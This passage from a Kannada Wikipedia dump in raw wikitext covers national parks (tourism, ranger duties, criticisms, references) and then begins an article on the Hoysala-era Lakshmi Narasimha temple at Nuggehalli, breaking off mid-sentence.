[[ಚಿತ್ರ:Teufelsschloss-greenland.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/a/a3/Teufelsschloss-greenland.jpg/220px-Teufelsschloss-greenland.jpg|thumb| ಪೂರ್ವ ಗ್ರೀನ್‌ಲ್ಯಾಂಡ್‌ನ ಕೈಸರ್-ಫ್ರಾಂಜ್-ಜೋಸೆಫ್- ''ಫ್ಜೋರ್ಡ್‌ನಲ್ಲಿರುವ ಟ್ಯೂಫೆಲ್ಸ್‌ಸ್ಕ್ಲೋಸ್‌ನ'' ಚಿತ್ರಕಲೆ (ಸುಮಾರು ೧೯೦೦). ಈ ತಾಣವು ಈಗ ಈಶಾನ್ಯ ಗ್ರೀನ್‌ಲ್ಯಾಂಡ್ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನದ ಭಾಗವಾಗಿದೆ.]] ಐಯುಸಿ‍ಎನ್ ವ್ಯಾಖ್ಯಾನವನ್ನು ಪೂರೈಸುವ ವಿಶ್ವದ ಅತಿದೊಡ್ಡ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವೆಂದರೆ ಈಶಾನ್ಯ ಗ್ರೀನ್‌ಲ್ಯಾಂಡ್ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನ, ಇದನ್ನು ೧೯೭೪ರಲ್ಲಿ ೯,೭೨,೦೦೦ ಕಿಮೀ ಪ್ರದೇಶದಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು. ವಿಶ್ವದ ಅತ್ಯಂತ ಚಿಕ್ಕ ಅಧಿಕೃತ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವೆಂದರೆ ಐಲ್ಸ್ ಡೆಸ್ ಮೆಡೆಲೀನ್ಸ್ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನ . ಇದರ ವಿಸ್ತೀರ್ಣ ಕೇವಲ {{Convert|0.45|km2|sqmi}} ಅನ್ನು ೧೯೭೬ <ref>[https://www.protectedplanet.net/magdalen-islands-iles-de-la-madeleine-national-park Magdalen Islands (Iles de la Madeleine) in Senegal] {{Webarchive|url=https://web.archive.org/web/20200804091633/https://www.protectedplanet.net/magdalen-islands-iles-de-la-madeleine-national-park |date=4 ಆಗಸ್ಟ್ 2020 }}, Protected Planet</ref> ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವಾಗಿ ಸ್ಥಾಪಿಸಲಾಯಿತು. == ಆರ್ಥಿಕ ಶಾಖೆಗಳು == ಕೋಸ್ಟರಿಕಾದಂತಹ ದೊಡ್ಡ ಪರಿಸರ ಪ್ರವಾಸೋದ್ಯಮ ಉದ್ಯಮವನ್ನು ಹೊಂದಿರುವ ದೇಶಗಳು ಸಾಮಾನ್ಯವಾಗಿ ಪಾರ್ಕ್ ನಿರ್ವಹಣೆಯ ಮೇಲೆ ಮತ್ತು ಒಟ್ಟಾರೆಯಾಗಿ ದೇಶದ ಆರ್ಥಿಕತೆಯ ಮೇಲೆ ಭಾರಿ ಆರ್ಥಿಕ ಪರಿಣಾಮವನ್ನು ಅನುಭವಿಸುತ್ತವೆ. === ಪ್ರವಾಸೋದ್ಯಮ === ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳಿಗೆ ಪ್ರವಾಸೋದ್ಯಮವು ಕಾಲಾನಂತರದಲ್ಲಿ ಗಣನೀಯವಾಗಿ ಹೆಚ್ಚಾಗಿದೆ. ಉದಾಹರಣೆಗೆ ಕೋಸ್ಟರಿಕಾದಲ್ಲಿ, ಬೃಹತ್‌ ವೈವಿಧ್ಯತೆಯ ದೇಶ. ಉದ್ಯಾನವನಗಳಿಗೆ ಪ್ರವಾಸೋದ್ಯಮವು ೧೯೮೫ ರಿಂದ ೧೯೯೯ ರವರೆಗೆ ೪೦೦% ರಷ್ಟು ಹೆಚ್ಚಾಗಿದೆ. ''ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವು'' ನಿಸರ್ಗ-ಆಧಾರಿತ ಪ್ರವಾಸೋದ್ಯಮದೊಂದಿಗೆ ಸಂಬಂಧಿಸಿದ ಬ್ರಾಂಡ್ ಹೆಸರಾಗಿ ಗ್ರಹಿಸಲ್ಪಟ್ಟಿದೆ ಮತ್ತು ಇದು "ಉತ್ತಮ ಗುಣಮಟ್ಟದ ನೈಸರ್ಗಿಕ ಪರಿಸರವನ್ನು ಉತ್ತಮವಾಗಿ ವಿನ್ಯಾಸಗೊಳಿಸಿದ ಪ್ರವಾಸಿ ಮೂಲಸೌಕರ್ಯದೊಂದಿಗೆ" ಸಂಕೇತಿಸುತ್ತದೆ. === ಸಿಬ್ಬಂದಿ === ಪಾರ್ಕ್ ರೇಂಜರ್‌ನ ಕರ್ತವ್ಯಗಳು ಉದ್ಯಾನ ಸಂಪನ್ಮೂಲಗಳ ಸಂರಕ್ಷಣೆ ಮತ್ತು ಬಳಕೆಯಲ್ಲಿ ಮೇಲ್ವಿಚಾರಣೆ, ನಿರ್ವಹಣೆ ಮತ್ತು/ಅಥವಾ ಕೆಲಸ ನಿರ್ವಹಿಸುವುದು. ಇದು ಉದ್ಯಾನವನ ಸಂರಕ್ಷಣೆಯಂತಹ ಕಾರ್ಯಗಳನ್ನು ಒಳಗೊಂಡಿರುತ್ತದೆ; ನೈಸರ್ಗಿಕ, ಐತಿಹಾಸಿಕ ಮತ್ತು ಸಾಂಸ್ಕೃತಿಕ ಸಂಪನ್ಮೂಲ ನಿರ್ವಹಣೆ; ಮತ್ತು ಭೇಟಿ ನೀಡುವ ಸಾರ್ವಜನಿಕರ ಅನುಕೂಲಕ್ಕಾಗಿ ವಿವರಣಾತ್ಮಕ ಮತ್ತು ಮನರಂಜನಾ ಕಾರ್ಯಕ್ರಮಗಳ ಅಭಿವೃದ್ಧಿ ಮತ್ತು ಕಾರ್ಯಾಚರಣೆ. ಪಾರ್ಕ್ ರೇಂಜರ್‌ಗಳು ಅಗ್ನಿಶಾಮಕ ಜವಾಬ್ದಾರಿಗಳನ್ನು ಹೊಂದಿದ್ದಾರೆ ಮತ್ತು ಹುಡುಕಾಟ ಮತ್ತು ಪಾರುಗಾಣಿಕಾ ಕಾರ್ಯಾಚರಣೆಗಳನ್ನು ಕಾರ್ಯಗತಗೊಳಿಸುತ್ತಾರೆ. ಸಾಮಾನ್ಯ, ಐತಿಹಾಸಿಕ ಅಥವಾ ವೈಜ್ಞಾನಿಕ ಮಾಹಿತಿಯ ಸಂದರ್ಶಕರಿಗೆ ಮಾಹಿತಿಯನ್ನು ಪ್ರಸಾರ ಮಾಡಲು ಚಟುವಟಿಕೆಗಳು ಪರಂಪರೆಯ ವ್ಯಾಖ್ಯಾನವನ್ನು ಸಹ ಒಳಗೊಂಡಿರುತ್ತವೆ. ವನ್ಯಜೀವಿಗಳು, ಸರೋವರಗಳು, ಕಡಲತೀರಗಳು, ಕಾಡುಗಳು, ಐತಿಹಾಸಿಕ ಕಟ್ಟಡಗಳು, ಯುದ್ಧಭೂಮಿಗಳು, ಪುರಾತತ್ತ್ವ ಶಾಸ್ತ್ರದ ಗುಣಲಕ್ಷಣಗಳು ಮತ್ತು ಮನರಂಜನಾ ಪ್ರದೇಶಗಳಂತಹ ಸಂಪನ್ಮೂಲಗಳ ನಿರ್ವಹಣೆಯು ಪಾರ್ಕ್ ರೇಂಜರ್ನ ಕೆಲಸದ ಭಾಗವಾಗಿದೆ. <ref name="OPM.gov">U.S. Office of Personnel Management. ''Handbook of occupational groups and families''. Washington, D.C. January 2008. Page 19. [http://www.opm.gov/FEDCLASS/GSHBKOCC.pdf OPM.gov] {{Webarchive|url=https://web.archive.org/web/20130102205511/http://www.opm.gov/fedclass/gshbkocc.pdf |date=2 ಜನವರಿ 2013 }} Accessed 2 November 2014.</ref> ೧೯೧೬ ರಲ್ಲಿ ಯುಎಸ್ ನಲ್ಲಿ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನ ಸೇವೆಯನ್ನು ಸ್ಥಾಪಿಸಿದಾಗಿನಿಂದ, ಪಾರ್ಕ್ ರೇಂಜರ್‌ನ ಪಾತ್ರವು ಕೇವಲ ನೈಸರ್ಗಿಕ ಸಂಪನ್ಮೂಲಗಳ ಪಾಲಕನಾಗಿರದೆ ಕಾನೂನು ಜಾರಿಗೆ ಸಂಬಂಧಿಸಿದ ಹಲವಾರು ಚಟುವಟಿಕೆಗಳನ್ನು ಸೇರಿಸಲು ಬದಲಾಗಿದೆ. <ref>R Meadows ; D L Soden In: [https://www.ncjrs.gov/App/Publications/abstract.aspx?ID=110802 ''National Park Ranger Attitudes and Perceptions Regarding Law Enforcement Issues.''] {{Webarchive|url=https://web.archive.org/web/20210122000607/https://www.ncjrs.gov/App/Publications/abstract.aspx?ID=110802 |date=22 ಜನವರಿ 2021 }} Abstract. ''Justice Professional'' Volume:3 Issue:1 (Spring 1988) Pages:70–93</ref> ಅವರು ದಟ್ಟಣೆಯನ್ನು ನಿಯಂತ್ರಿಸುತ್ತಾರೆ, ವಿವಿಧ ಬಳಕೆಗಳಿಗೆ ಪರವಾನಗಿಗಳನ್ನು ನಿರ್ವಹಿಸುತ್ತಾರೆ ಮತ್ತು ಉಲ್ಲಂಘನೆಗಳು, ದೂರುಗಳು, ಅತಿಕ್ರಮಣ/ಅತಿಕ್ರಮಣ ಮತ್ತು ಅಪಘಾತಗಳನ್ನು ತನಿಖೆ ಮಾಡುತ್ತಾರೆ. <ref name="OPM.gov" /> == ಟೀಕೆಗಳು == ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳು ಸಾಮಾನ್ಯವಾಗಿ ಧನಾತ್ಮಕ ಪರಿಸರ ಸೇವೆಯಾಗಿ ಕಂಡುಬಂದರೂ, ಅನೇಕ ಲೇಖಕರು ಅದರ ಇತಿಹಾಸದ ಕರಾಳ ಭಾಗವನ್ನು ಚರ್ಚಿಸಿದ್ದಾರೆ. ನಿಸರ್ಗದ ಪ್ರಾಚೀನ, ನೈಸರ್ಗಿಕ ವಿಭಾಗಗಳನ್ನು ಪಕ್ಕಕ್ಕೆ ಇಡಬೇಕು ಮತ್ತು ನಗರಾಭಿವೃದ್ಧಿಯಿಂದ ಸಂರಕ್ಷಿಸಬೇಕು ಎಂದು ಭಾವಿಸಿದ ವ್ಯಕ್ತಿಗಳಿಂದ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳನ್ನು ರಚಿಸಲಾಗಿದೆ. ಅಮೆರಿಕಾದಲ್ಲಿ, ಈ ಚಳುವಳಿಯು ಗ್ರೇಟ್ ಅಮೇರಿಕನ್ ಫ್ರಾಂಟಿಯರ್ ಸಮಯದಲ್ಲಿ ಬಂದಿತು ಮತ್ತು ಅಮೆರಿಕಾದ ನಿಜವಾದ ಇತಿಹಾಸಕ್ಕೆ ಸ್ಮಾರಕಗಳಾಗಿದ್ದವು. <ref>{{Cite book|url=http://worldcat.org/oclc/36306399|title=Uncommon ground : rethinking the human place in nature|last=William.|first=Cronon|date=1996|publisher=W.W. Norton & Co|isbn=0-393-31511-8|oclc=36306399}}</ref> ಆದಾಗ್ಯೂ, ಮೀಸಲಿಡಬೇಕಾದ ಮತ್ತು ರಕ್ಷಿಸಬೇಕಾದ ಭೂಮಿಯನ್ನು ಈಗಾಗಲೇ ಸ್ಥಳೀಯ ಸಮುದಾಯಗಳು ವಾಸಿಸುತ್ತಿದ್ದವು, ಅವುಗಳನ್ನು ತೆಗೆದುಹಾಕಲಾಯಿತು ಮತ್ತು ಸಾರ್ವಜನಿಕ ಬಳಕೆಗಾಗಿ "ಪ್ರಾಚ್ಯ" ಸೈಟ್‌ಗಳನ್ನು ರಚಿಸಲು ಮೀಸಲಿಡಲಾಯಿತು. ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳಿಂದ ಜನರನ್ನು ತೆಗೆದುಹಾಕುವುದರಿಂದ ಪ್ರಕೃತಿಯಲ್ಲಿ ಮಾನವರು ಅಸ್ತಿತ್ವದಲ್ಲಿಲ್ಲದಿದ್ದಾಗ ಮಾತ್ರ ಪ್ರಕೃತಿಯನ್ನು ರಕ್ಷಿಸಬಹುದು ಎಂಬ ನಂಬಿಕೆಯನ್ನು ಹೆಚ್ಚಿಸಿದೆ ಎಂದು ವಿಮರ್ಶಕರು ಹೇಳುತ್ತಾರೆ, ಮತ್ತು ಇದು ಪ್ರಕೃತಿ ಮತ್ತು ಮಾನವರ ನಡುವಿನ ದ್ವಿಗುಣವನ್ನು ಶಾಶ್ವತಗೊಳಿಸಲು ಕಾರಣವಾಗುತ್ತದೆ (ಇದನ್ನು ಪ್ರಕೃತಿ-ಸಂಸ್ಕೃತಿ ವಿಭಜನೆ ಎಂದೂ ಕರೆಯಲಾಗುತ್ತದೆ). ಅವರು ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳ ರಚನೆಯನ್ನು ಪರಿಸರ-ಭೂಮಿಯನ್ನು ವಶಪಡಿಸಿಕೊಳ್ಳುವ ಒಂದು ರೂಪವಾಗಿ ನೋಡುತ್ತಾರೆ. <ref>{{Cite book|url=http://dx.doi.org/10.5749/j.ctv1bkc3t6|title=Drawing the Sea Near|last=Claus|first=C. Anne|date=2020-11-03|publisher=University of Minnesota Press|isbn=978-1-4529-5946-7|doi=10.5749/j.ctv1bkc3t6}}</ref> ಪ್ರಕೃತಿಯನ್ನು ಪ್ರಶಂಸಿಸಲು ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳಿಗೆ ಪ್ರಯಾಣಿಸುವುದರಿಂದ ಜನರು ಪ್ರತಿದಿನ ತಮ್ಮ ಸುತ್ತಲೂ ಇರುವ ಪ್ರಕೃತಿಯನ್ನು ನಿರ್ಲಕ್ಷಿಸುತ್ತಾರೆ ಎಂದು ಇತರರು ಹೇಳುತ್ತಾರೆ. ಪ್ರವಾಸೋದ್ಯಮವು ವಾಸ್ತವವಾಗಿ ಭೇಟಿ ನೀಡುತ್ತಿರುವ ಪ್ರದೇಶಗಳ ಮೇಲೆ ನಕಾರಾತ್ಮಕ ಪರಿಣಾಮ ಬೀರುತ್ತದೆ ಎಂದು ಕೆಲವರು ವಾದಿಸುತ್ತಾರೆ. <ref>{{Cite journal|last=Büscher|first=Bram|last2=Fletcher|first2=Robert|date=2019|title=Towards Convivial Conservation|url=http://dx.doi.org/10.4103/cs.cs_19_75|journal=Conservation and Society|volume=17|issue=3|pages=283|doi=10.4103/cs.cs_19_75|issn=0972-4923}}</ref> ==ಉಲ್ಲೇಖಗಳು== {{Reflist|30em}} ===ಮೂಲಗಳು=== * {{Cite book|url=https://books.google.com/books?id=xIWwmVUUU4wC|title=Tourism in National Parks and Protected Areas: Planning and Management|publisher=CABI|year=2002|isbn=0851997597|authors=Eagles, Paul F. J; McCool, Stephen F.}} 320 pages. * {{Cite book|url=https://books.google.com/books?id=4FG6HsjlcfoC|title=Preserving Nature in the National Parks: A History|publisher=Yale University Press|year=2009|isbn=978-0300154146|authors=Sellars, Richard West}} 404 pages. * Sheail, John (2010) ''Nature's Spectacle - The World's First National Parks and Protected Places'' Earthscan, London, Washington.  [[ISBN (identifier)|ISBN]]&nbsp;[[Special:BookSources/978-1-84971-129-6|978-1-84971-129-6]] == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * {{Cite web|url=http://www.biodiversitya-z.org/areas/37/|title=Areas of Biodiversity Importance: National Parks|website=Biodiversity A-Z|archive-url=https://web.archive.org/web/20110516232146/http://www.biodiversitya-z.org/areas/37|archive-date=16 May 2011|access-date=21 April 2011}} * {{Cite web|url=http://www.europarc.org/|title=Europe's protected areas|website=EUROPARC Federation}} * {{Cite web|url=http://www.nps.gov/faqs.htm|title=FAQs|website=U.S. National Park Service}} * {{Cite web|url=http://travelisfree.com/2018/09/10/map-of-all-the-worlds-national-parks/#more-17443|title=Map of All The World's National Parks|last=Macomber, Drew|date=September 10, 2018|website=Travel Is Free}} * {{Cite web|url=http://www.unesco.org/mab/|title=Man and the Biosphere Programme (Biosphere Reserves)|date=7 January 2019|website=UNESCO}} * {{Cite web|url=http://nationalparks.nighthee.com/|title=National parks, landscape parks and protected areas in the world|website=nighthee.com|archive-url=https://web.archive.org/web/20150905182433/http://nationalparks.nighthee.com/|archive-date=5 September 2015|access-date=11 August 2015}} * {{Cite web|url=http://www.staff.amu.edu.pl/~zbzw/ph/pnp/swiat.htm|title=National Parks Worldwide|website=amu.edu.pl|archive-url=https://web.archive.org/web/20080119140316/http://www.staff.amu.edu.pl/~zbzw/ph/pnp/swiat.htm|archive-date=19 January 2008|access-date=3 January 2008}} * {{Cite web|url=http://www.protectedplanet.net|title=World Database of Protected Areas|website=Protected Planet}} * {{Cite web|url=http://dopa.jrc.ec.europa.eu|title=Digital Observatory for Protected Areas (DOPA)|website=by the Joint Research Centre of the European Commission}} * {{Cite web|url=https://whc.unesco.org/|title=World Heritage Sites|website=UNESCO}} {{Authority control}} tjqjc24s854g6m0bg11pxlwctaruer4 ಲಕ್ಷ್ಮಿ ನರಸಿಂಹ ದೇವಾಸ್ಥಾನ, ನುಗ್ಗೇಹಳ್ಳಿ 0 144691 1116432 1115163 2022-08-23T12:27:02Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki [[ಚಿತ್ರ:Lakshminarasimha_temple_at_Nuggehalli_north_western_closeup_view.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/8/82/Lakshminarasimha_temple_at_Nuggehalli_north_western_closeup_view.jpg/350px-Lakshminarasimha_temple_at_Nuggehalli_north_western_closeup_view.jpg|right|thumb|350x350px| ಲಕ್ಷ್ಮಿ ನರಸಿಂಹ ದೇವಸ್ಥಾನ, ವಾಯುವ್ಯ ಮೂಲೆಯಿಂದ ನೋಟ]] [[ಚಿತ್ರ:Profile_of_Lakshmi_Narasimha_temple_at_Nuggehalli_1.JPG|link=//upload.wikimedia.org/wikipedia/commons/thumb/2/28/Profile_of_Lakshmi_Narasimha_temple_at_Nuggehalli_1.JPG/170px-Profile_of_Lakshmi_Narasimha_temple_at_Nuggehalli_1.JPG|thumb| ನುಗ್ಗೇಹಳ್ಳಿಯ ಲಕ್ಷ್ಮೀ ನರಸಿಂಹ ದೇವಸ್ಥಾನದ ವಿವರ]] '''ಲಕ್ಷ್ಮೀ ನರಸಿಂಹ ದೇವಾಲಯವನ್ನು''' ೧೨೪೬ ರಲ್ಲಿ ರಾಜ ವೀರ ಸೋಮೇಶ್ವರನ ಆಳ್ವಿಕೆಯಲ್ಲಿ [[ಹೊಯ್ಸಳ|ಹೊಯ್ಸಳ ಸಾಮ್ರಾಜ್ಯದ]] ಕಮಾಂಡರ್ ಬೊಮ್ಮಣ್ಣ ದಂಡನಾಯಕನು ನಿರ್ಮಿಸಿದನು. ಇದು ೧೩ ನೇ ಶತಮಾನದ [[ಹೊಯ್ಸಳ ವಾಸ್ತುಶಿಲ್ಪ|ಹೊಯ್ಸಳ ವಾಸ್ತುಶಿಲ್ಪಕ್ಕೆ]] ಉತ್ತಮ ಉದಾಹರಣೆಯಾಗಿದೆ. ಅದೇ ಸಮಯದಲ್ಲಿ ಸದಾಶಿವ ದೇವಾಲಯವನ್ನು ನಿರ್ಮಿಸಲಾಗಿದೆ. ಈ ಪಟ್ಟಣವನ್ನು ಪ್ರಾಚೀನ ಕಾಲದಲ್ಲಿ ವಿಜಯ ಸೋಮನಾಥಪುರ ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು. ಇದು ಬೊಮ್ಮಣ್ಣ ದಂಡನಾಯಕನ ಕಾಲದಲ್ಲಿ ''ಅಗ್ರಹಾರ'' (ಕಲಿಕೆಯ ಸ್ಥಳ) ಆಗಿ ಪ್ರಾಮುಖ್ಯತೆಯನ್ನು ಪಡೆಯಿತು. ನುಗ್ಗೇಹಳ್ಳಿ, ("ನುಗ್ಗಿಹಳ್ಳಿ" ಎಂದೂ ಸಹ ಉಚ್ಚರಿಸಲಾಗುತ್ತದೆ) [[ಭಾರತ|ಭಾರತದ]] [[ಕರ್ನಾಟಕ]] [[ಹಾಸನ ಜಿಲ್ಲೆ|ರಾಜ್ಯದ ಹಾಸನ ಜಿಲ್ಲೆಯ]] ಒಂದು ಪಟ್ಟಣವಾಗಿದೆ. ಇದು [[ತಿಪಟೂರು]] - [[ಚನ್ನರಾಯಪಟ್ಟಣ]] ರಾಜ್ಯ ಹೆದ್ದಾರಿಯಲ್ಲಿದ್ದು ಹಾಸನ ನಗರದಿಂದ ಸುಮಾರು ೫೦ ಕಿ.ಮೀ ಇದೆ. ಇದು ರಾಜ್ಯದ ರಾಜಧಾನಿ [[ಬೆಂಗಳೂರು|ಬೆಂಗಳೂರಿನೊಂದಿಗೆ]] ರಸ್ತೆಯ ಮೂಲಕ ಉತ್ತಮ ಸಂಪರ್ಕವನ್ನು ಹೊಂದಿದೆ. <ref name="decor">Foekema (1996), p. 83.</ref> == ವಿವರಣೆ == [[ಚಿತ್ರ:Lakshmi_Narasimha_temple_at_Nuggehalli.JPG|link=//upload.wikimedia.org/wikipedia/commons/thumb/1/16/Lakshmi_Narasimha_temple_at_Nuggehalli.JPG/250px-Lakshmi_Narasimha_temple_at_Nuggehalli.JPG|left|thumb|250x250px| ೧೨೪೬ ರಲ್ಲಿ ನುಗ್ಗೇಹಳ್ಳಿಯಲ್ಲಿ ''ಕರ್ನಾಟಕ ದ್ರಾವಿಡ'' ಶೈಲಿಯಲ್ಲಿ ನಿರ್ಮಿಸಲಾದ ಲಕ್ಷ್ಮೀ ನರಸಿಂಹ ದೇವಾಲಯ]] [[ಚಿತ್ರ:Lakshminarasimha_temple_at_Nuggehalli_in_Hassan_district_southwestern_view.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/5/58/Lakshminarasimha_temple_at_Nuggehalli_in_Hassan_district_southwestern_view.jpg/250px-Lakshminarasimha_temple_at_Nuggehalli_in_Hassan_district_southwestern_view.jpg|right|thumb|250x250px| ಲಕ್ಷ್ಮೀ ನರಸಿಂಹ ದೇವಸ್ಥಾನ, ನೈಋತ್ಯ ಮೂಲೆಯಿಂದ ನೋಟ]] [[ಚಿತ್ರ:Shrine_outer_wall_with_projecting_minor_shrine_(aedicula)_in_Lakshmi_Narasimha_temple_at_Nuggehalli.JPG|link=//upload.wikimedia.org/wikipedia/commons/thumb/5/57/Shrine_outer_wall_with_projecting_minor_shrine_%28aedicula%29_in_Lakshmi_Narasimha_temple_at_Nuggehalli.JPG/170px-Shrine_outer_wall_with_projecting_minor_shrine_%28aedicula%29_in_Lakshmi_Narasimha_temple_at_Nuggehalli.JPG|thumb| ನುಗ್ಗೇಹಳ್ಳಿಯ ಲಕ್ಷ್ಮೀ ನರಸಿಂಹ ದೇವಸ್ಥಾನದಲ್ಲಿ ಚಿಕ್ಕ ದೇಗುಲ (ಏಡಿಕುಲಾ) ಹೊಂದಿರುವ ದೇಗುಲದ ಹೊರಗೋಡೆ]] ''ತ್ರಿಕೂಟ'' (ಮೂರು ಗೋಪುರಗಳು) ''[[ವಿಮಾನ (ವಾಸ್ತುಶಿಲ್ಪ)|ವಿಮಾನ]]'' (ದೇವಾಲಯ) ಶೈಲಿಯಲ್ಲಿ ಗೋಡೆಗಳನ್ನು ಅಲಂಕರಿಸುವ ಉತ್ತಮ ಶಿಲ್ಪಗಳೊಂದಿಗೆ ನಿರ್ಮಿಸಲಾದ ಸಮೃದ್ಧವಾಗಿ ಅಲಂಕರಿಸಲ್ಪಟ್ಟ ಹೊಯ್ಸಳ ದೇವಾಲಯಕ್ಕೆ ಇದು ಉತ್ತಮ ಉದಾಹರಣೆಯಾಗಿದೆ. <ref name="kuta1">Quote:"Most Hoysala temples are either ekakuta (one tower), dvikuta (two towers) or trikuta, Foekema (1996), p. 25</ref> ಬಳಸಿದ ವಸ್ತುವು ಕ್ಲೋರಿಟಿಕ್ ಸ್ಕಿಸ್ಟ್ ಇದನ್ನು ಸಾಮಾನ್ಯವಾಗಿ [[ಬಳಪದ ಕಲ್ಲು|ಸೋಪ್‌ಸ್ಟೋನ್]] ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. <ref name="stone">Quote:"The Western Chalukya carvings were done on green schist (Soapstone). This technique was adopted by the Hoysalas too, ''Architecture of the Indian Subcontinent'', Takeo Kamiya</ref> ದೇವಾಲಯವನ್ನು ''ಜಾಗತಿ'' (ವೇದಿಕೆ)ಯ ಮೇಲೆ ನಿರ್ಮಿಸಲಾಗಿದ್ದು ಇದು ದೇವಾಲಯದ ಯೋಜನೆಯನ್ನು ನಿಕಟವಾಗಿ ಅನುಸರಿಸುತ್ತದೆ. <ref name="jag">Quote:"This is a Hoysala innovation, {{Cite web|url=http://www.ourkarnataka.com/history.htm|title=History of Karnataka-Religion, Literature, Art and Architecture in Hoysala Empire|last=Arthikaje, Mangalore|publisher=© 1998-00 OurKarnataka.Com, Inc|archive-url=https://web.archive.org/web/20061104095148/http://www.ourkarnataka.com/history.htm|archive-date=2006-11-04|access-date=2006-11-28}}</ref> <ref name="platform">Quote:"The Jagati is in perfect unity with the rest of the temple", Foekema (1996), p. 25</ref> ಮೂಲ ದೇವಾಲಯದ ಗಾತ್ರವನ್ನು ಚಿಕ್ಕದಾಗಿ ಪರಿಗಣಿಸಿ ನಂತರ ದೊಡ್ಡ ತೆರೆದ ''ಮಂಟಪ'' (ಹಾಲ್) ಅನ್ನು ಸೇರಿಸಲಾಯಿತು. ಮೂರು ದೇವಾಲಯಗಳು ೯ "ಕೊಲ್ಲಿಗಳು" (ನಾಲ್ಕು ಕಂಬಗಳ ನಡುವಿನ ವಿಭಾಗ) ಹೊಂದಿರುವ ಕೇಂದ್ರ ಮುಚ್ಚಿದ ''ಮಂಟಪದ'' ಸುತ್ತಲೂ ನೆಲೆಗೊಂಡಿವೆ. <ref name="bay">Quote:"A bay is a square or rectangular compartment in the hall", Foekema, p. 52, p. 93</ref> ಮುಚ್ಚಿದ ''ಮಂಟಪದ'' ಮೇಲ್ಛಾವಣಿಯು ಕೇಂದ್ರದಲ್ಲಿ ಆಳವಾಗಿ ಗುಮ್ಮಟವನ್ನು ಹೊಂದಿರುವ ನಾಲ್ಕು ತಿರುಗು ಕಂಬಗಳಿಂದ ಬೆಂಬಲಿತವಾಗಿದೆ. <ref name="lathe">Quote:"This is a common feature of Western Chalukya-Hoysala temples", Kamath(2001), p. 117</ref> ಕೇಂದ್ರ ದೇವಾಲಯವು ಅತ್ಯಂತ ಪ್ರಮುಖವಾದದ್ದು ಮತ್ತು ದೊಡ್ಡ ಗೋಪುರವನ್ನು ಹೊಂದಿದೆ. ಈ ದೇಗುಲವು ದೇವಾಲಯವನ್ನು ಮಂಟಪಕ್ಕೆ (ಹಾಲ್) ಸಂಪರ್ಕಿಸುವ ''ಮುಖಮಂಟಪವನ್ನು'' ಹೊಂದಿದೆ. ಪರಿಣಾಮವಾಗಿ ವೆಸ್ಟಿಬುಲ್ ಮುಖ್ಯ ಗೋಪುರದ ಚಿಕ್ಕ ವಿಸ್ತರಣೆಯಂತೆ ಕಾಣುವ ಗೋಪುರವನ್ನು (ಅಥವಾ ಸೂಪರ್‌ಸ್ಟ್ರಕ್ಚರ್, ''[[ಶಿಖರ (ವಾಸ್ತುಶಿಲ್ಪ)|ಶಿಖರ]]'' ) ಹೊಂದಿದೆ. ಇದನ್ನು ''ಸುಕನಾಸಿ'' ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. ಫೋಕೆಮಾ ಪ್ರಕಾರ, ಇದು ಮುಖ್ಯ ಗೋಪುರದ "ಮೂಗು" ನಂತೆ ಕಾಣುತ್ತದೆ. <ref name="suka">Quote:"It is on the ''sukanasi'' that the Hoysala crest is placed". The crest consists of a sculpture of "Sala" the mythical founder of the empire, fighting the lion. Foekema (1996), p. 22</ref> ಇನ್ನೆರಡು ದೇಗುಲಗಳು ಚಿಕ್ಕ ಗೋಪುರಗಳನ್ನು ಹೊಂದಿದ್ದು ಅವುಗಳನ್ನು ಕೇಂದ್ರ ''ಮಂಟಪಕ್ಕೆ'' ಸಂಪರ್ಕಿಸಲು ಯಾವುದೇ ಮುಖಮಂಟಪವಿಲ್ಲದ ಕಾರಣ ಅವುಗಳಿಗೆ ''ಸುಕನಾಸಿ'' ಇಲ್ಲ. <ref name="suka" /> ಹೊರಗಿನಿಂದ ದೇವಾಲಯವು ವಾಸ್ತವವಾಗಿ ''ಏಕಕೂಟ'' (ಏಕ ಗೋಪುರ ಮತ್ತು ದೇವಾಲಯ) ದೇವಾಲಯದಂತೆ ಕಾಣುತ್ತದೆ ಏಕೆಂದರೆ ಎರಡು ಪಾರ್ಶ್ವ ದೇವಾಲಯಗಳು ''ಮಂಟಪದ'' ಗೋಡೆಯ ಸರಳ ವಿಸ್ತರಣೆಗಳಾಗಿವೆ. ಇದು ''ಏಕಕೂಟದಂತೆ'' ಕಾಣುವ ''ತ್ರಿಕೂಟದ'' (ಮೂರು ದೇವಾಲಯಗಳು ಮತ್ತು ಗೋಪುರಗಳು) ಒಂದು ಶ್ರೇಷ್ಠ ಉದಾಹರಣೆಯಾಗಿದೆ. <ref name="kuta">Fokema (1996), p. 84</ref> <ref name="classic">Quote:"Often in Hoysala temples, only the central of the three shrines has a tower. So the term ''trikuta'' may not literally by true", Foekema (1996), p. 24</ref> ನಂತರದ ಕಾಲದಲ್ಲಿ ಎತ್ತರದ ಕಂಬಗಳನ್ನು ಹೊಂದಿರುವ ದೊಡ್ಡ ತೆರೆದ ಸಭಾಂಗಣವನ್ನು ಸೇರಿಸಲಾಗಿದ್ದು ಇದು ಮೂಲ ಮುಖಮಂಟಪ ಮತ್ತು ಮುಚ್ಚಿದ 